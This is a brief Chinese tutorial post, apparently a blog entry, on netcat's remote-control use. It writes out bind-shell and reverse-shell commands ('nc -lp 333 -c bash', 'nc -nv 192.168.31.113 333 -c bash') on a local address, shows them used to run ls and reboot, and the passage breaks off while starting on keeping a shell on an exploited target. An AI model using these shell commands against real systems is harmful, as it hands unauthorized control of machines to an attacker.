上一篇文章讲了nc的传输功能,这一篇讲一下nc的远程控制功能
控制方法
(正向)
主机A :nc -lp 333 -c bash
主机B : nc -nv 192.168.31.113 333
注释: 主机A侦听333端口 并将自己的shell 交给通过该端口连接的主机
(反向)
主机A: nc -lp 333
主机B:nc -nv 192.168.31.113 333 -c bash
注释 :主机A侦听333端口 主机B连接333端口并将自己的shell交给主机A
- 连接成功
- 在主机B上输入 ls
- 主机A的文件目录
证明成功连接到了目标主机
- 主机B输入reboot后 主机A重新启动
关于远程控制的思路
有时利用目标主机漏洞取得shell时,可能第二天管理员就将漏洞打上补丁,